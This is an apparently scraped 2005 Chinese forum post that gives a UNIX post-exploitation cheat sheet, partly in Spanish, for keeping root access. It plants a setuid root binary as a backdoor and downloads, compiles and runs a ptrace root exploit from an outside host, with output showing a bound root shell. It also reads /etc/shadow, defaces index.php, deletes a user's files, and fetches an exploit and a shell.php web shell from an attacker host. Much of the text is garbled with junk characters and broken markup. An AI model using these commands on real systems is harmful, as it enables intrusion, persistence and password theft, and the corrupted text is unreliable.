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标题: 总结UNIX成为root以后保持权限的方法 [打印本页]
作者: 韩冰    时间: 2005-2-4 23:57
标题: 总结UNIX成为root以后保持权限的方法
<><FONT color=#ff0000>by:cnbird</FONT></P>
3 }- w$ N1 F  Q5 C0 {7 X<>1.</P>$ u" f, D0 \) v8 T9 p. b* G
<>[cnbird@localhost tmp]#id</P>% l0 Y  z& `% s$ m
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>( t2 E# n( J6 |2 \( B7 R, n7 h
<>[cnbird@localhost tmp]#cp `which id ` .</P>/ d  O1 _' S1 p3 o# R& |! I
<>[cnbird@localhost tmp]#chown root ./id</P>
. F: F, l. C& H& [4 X/ b<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
4 l: @. d( u$ o; J1 v5 T1 c! X<>[cnbird@localhost tmp]#ls -l ./id</P>, Z4 s9 U5 Q- x; F0 S5 o: G) |
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P># G; |, ~) D; h; f
<>[cnbird@localhost tmp]#exit</P>7 z+ @! G9 Q! x9 l1 i5 P
<>[cnbird@localhost tmp]$id</P># i- J- B3 f/ W5 g) M) Q
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
( w9 N" }+ b6 z<>[cnbird@localhost tmp]$./id </P>6 r. c: h2 X8 Z$ M/ e  M8 P! R
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>: D# Y9 @3 \+ r9 H" h) f
<>2.利用ptrace成为root的方法</P>& v5 W3 O- ]' N$ K# e4 \: a2 Y2 t
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
, Q1 U' s$ F" d  A-&gt; Parent's PID is 2313. Child's PID is 2314.8 \% h' _' {, Q& E
-&gt; Attaching to 2315..., O( \2 f4 I6 Z: p# u- m
-&gt; Got the thread!!+ }: r# [9 s/ a! @# x7 [% x
-&gt; Waiting for the next signal...
4 _: Z, Z/ j. o  h* @-&gt; Injecting shellcode at 0x4000e85d
+ f5 ^* s) _, \2 c0 C9 X7 Z-&gt; Bind root shell on port 24876... =p
+ v* T0 F2 @. F) S4 w-&gt; Detached from modprobe thread.
" S% ^9 N0 c. t  _. s' B-&gt; Committing suicide.....</P>
/ d, _" n' c+ ?) U2 A<>[bash]# id9 E* d+ u  @7 [% x
uid=0(root) gid=0(root) groups=0(root)</P># c. |/ G; K4 }6 ?
<>ara ver los dominios que hay en el server:1 |8 l' G6 }# h) N2 l' l! Z7 H
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% ~7 j4 E" [( j3 o4 xcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios. ~2 T6 `9 d9 t
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
' a0 h/ k: Y5 {! ycat /etc/localdomains &lt;&lt; Unicamente los dominios locales! a% |# H  H" e( E% P
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
$ f0 U. _5 X9 B& P8 ?# Kcat /etc/userdomains &lt;&lt; Este es el mas comun  Q/ [- b4 {* O) D% q2 o! @, B
---------------------------------------------------------</P>$ D$ ]4 E( y3 c$ V1 b' G6 M
<>ara ver la version de kernel:7 y3 C* f* c! C  m" p
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  g: P- e8 \# M. g. s6 G, i# M  }uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& k  S- }. h5 i) B. j, u---------------------------------------------------------</P>
0 A/ T" i0 \7 t  ]$ t- y* N<>ara modificar un index ya existente:9 F( V& G& k1 ?6 N3 {! y
---------------------------------------------------------9 Z9 F7 ]' z% e) K$ f
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
8 m* V6 }0 S- Y- ?4 o2 p---------------------------------------------------------</P>2 K# \, c5 ]1 l: e3 v1 h, I2 M, A
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
6 x1 y/ E5 D" P/ D---------------------------------------------------------& y+ R: t5 g: ~- A/ [
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit. a" x' Z( i7 Q, w
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" 5 u. t- a% G0 ]7 M* F: t+ j
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
, W- L5 l. G" v+ jcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
! o: N" x8 ~1 r$ p7 NHasta aqui termina el proceso para un exploit.; }8 l6 e* \! j% `5 O
---------------------------------------------------------</P>
! G" G1 x! o. `<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:1 H  k. H, M+ i
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: R( R5 E  ~* `1 ]* s/ Kcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
! c" c( s0 {  l' g. F  }# w" Q---------------------------------------------------------</P>% k( X2 h- U: s& e: W( ]
<>Borrar un Ficher2 g2 f. W  `$ |7 n8 I6 P6 h9 t9 t
---------------------------------------------------------9 l+ {( {# v5 a
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm: |- ~" m! z+ N2 t) ^" T' @$ a
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<>Subir un ficher! o: W/ o# l' W# |, a) j
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3 H( f$ B; ^+ N4 r0 Q+ C) {cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>& ]1 V* f2 T$ L
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